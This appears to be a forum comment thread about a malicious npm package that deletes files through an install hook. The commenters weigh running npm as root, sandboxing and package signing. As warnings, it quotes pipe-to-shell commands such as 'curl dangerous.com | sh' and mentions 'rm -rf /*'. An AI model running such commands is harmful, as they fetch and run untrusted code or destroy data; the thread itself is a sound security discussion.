If you run npm with root, npm will run scripts with the user "nobody" by default. This means that npm doesn't run scripts as root even if you run "npm install" with root.
You can set another user instead of nobody with the "user" option and you can disable switching UID/GID using the "unsafe-perm" option but DO NOT DO THIS.
More information here: https://docs.npmjs.com/misc/config
edit: added more details.
This is exactly why i think modern kernel level security layers, such as FreeBSD jails (or Docker/LXC) were born. Provided your app runs within a jail, it wouldn't matter much anymore:
> Once inside the jail, a process is not permitted to escape outside of this subtree
You could also develop within isolation, therefore your development env would be safer and even similar to a production environment. Needless to say, that has additional benefits.
npmjs still contains the package: https://www.npmjs.com/search?q=rimrafall https://www.npmjs.com/package/rimrafall
'0 downloads in the last month'
There is no 'report package' button. The support link goes to a 'we are hiring' contact form. Report bad packages as security issues? https://www.npmjs.com/security
Package signing. Review process. Scanning tools for dangerous packages. As a user, don't trust anything and isolate containers and jails. Ban bad actors. Charge for a curated package index.
Lots of other plugin stores do better than npm.
> […] as dangerous as `curl dangerous.com | sh`.
dangerous.com appears to be a saucy outfits retailer. Irrespective of the name, piping the html to sh is probably fine.
It's always been amateur hour over there. The 'official' install was `curl http://npmjs.org/install.sh | sh`[1], package checksums aren't uniformly checked, the list goes on.
But don't worry guys, they had a security audit[2].
[1] http://web.archive.org/web/20101228041356/http://npmjs.org/ [2] http://blog.npmjs.org/post/80277229932/newly-paranoid-mainta...
I could just as easily embed something like that in any code on any open source project in any language as part of the installer or the main code base.
Somehow I feel like using something that just simulates rm -rf /* would have brought the point across just as well and a bit safer...
Just another reason to install nodejs with a node versioning machine like nvm or n... or to chown your /usr dir so you don't have to run sudo every time you want to npm install. Since you need super user privileges to accidentally remove your system on most linux distros, it really helps if you don't form the habit of sudo npm installing everything.
Any package manager, especially one with fuzzy matching is extremely dangerous. Every time you do an install you are often pulling hundreds of modules from many many places. If any one of the codebases of a module were compromised even by a sneaky contributor, you could inject arbitrary code into any companies codebase/runtime.
Until object capability type systems become more popular, this will always be an issue. Unless you hand audit everything. Good luck being productive doing that, if you even have the skills or team members able to audit code.
It's not just Npm, RubyGems has essentially the same issue. I think the real lesson is "be careful what you install".
This is a problem with most/all lib installers. They tend to have hooks to allow post-install actions and those hooks tend to be able to run OS commands, with the privileges of the installing user.
Of course what's extra worrying is it's not just the libs you directly install, but all their dependencies which get to carry out these actions. So for example when you install rails, it will install quite a large number of subsidiary gems.
Then when you add in the fact that the credentials that control dev access to push to places like rubygems and npm are just static username/password combos (which sometimes get stored in plain text in a dot file in the developers home dir) and that there's no common use of digital signing for issued libs (in some cases the installers don't even support it).
There are some things you can do to make `rm` safer which would prevent this from working: https://github.com/sindresorhus/guides/blob/master/how-not-t...
Though the real fix is doing development in a sandboxed container.
So this doesn't strike me as an npm issue but something more fundamental: there is no easy way on any platform to define a set of rules for processes I invoke via the command line.
Like, it would be really really nice if I could wrap npm so it can only write to $HOME/.npm, /tmp and the current working directory - but I know of no system which will currently let me do that suitably dynamically.
Slight OT: does anyone know of any hacking/malware campaigns that were specifically aimed at developers (but not against a specific company)? Normal trojans sometimes steal game keys, I could imagine searching the disk for AWS keys might be profitable, too?
Computing could be dangerous.
More of a joke but:
npm install virus.exe
Perfect for the #scalenpm tshirts
awareness for this is always good many now just have scripts doing curl blah | sudo and expecting the blah url will always serve the content they expect. signed versions seems to be the current best way to not have problems, even thus its not perfect.
And of course, most things like npm either dont support this or dont support it well, or nobody cares about it
Well, under no circumstance should you run npm, nvm, rvm, rbenv, pip, etc as root.
> can be as dangerous as curl dangerous.com | sh
What's dangerous.com?
it would be cool if there was a way to show which commands npm was running in its scripts.
Can I do the same with Makefiles?
This applies to pretty much every pkg manager ever created.
That's why it's important to have end-to-end package signing with a reasonable UI, so people can choose to selectively trust the sources they need and get alerted before new dependencies get pulled in.
Sadly I don't know of any pkg manager that implements this correctly.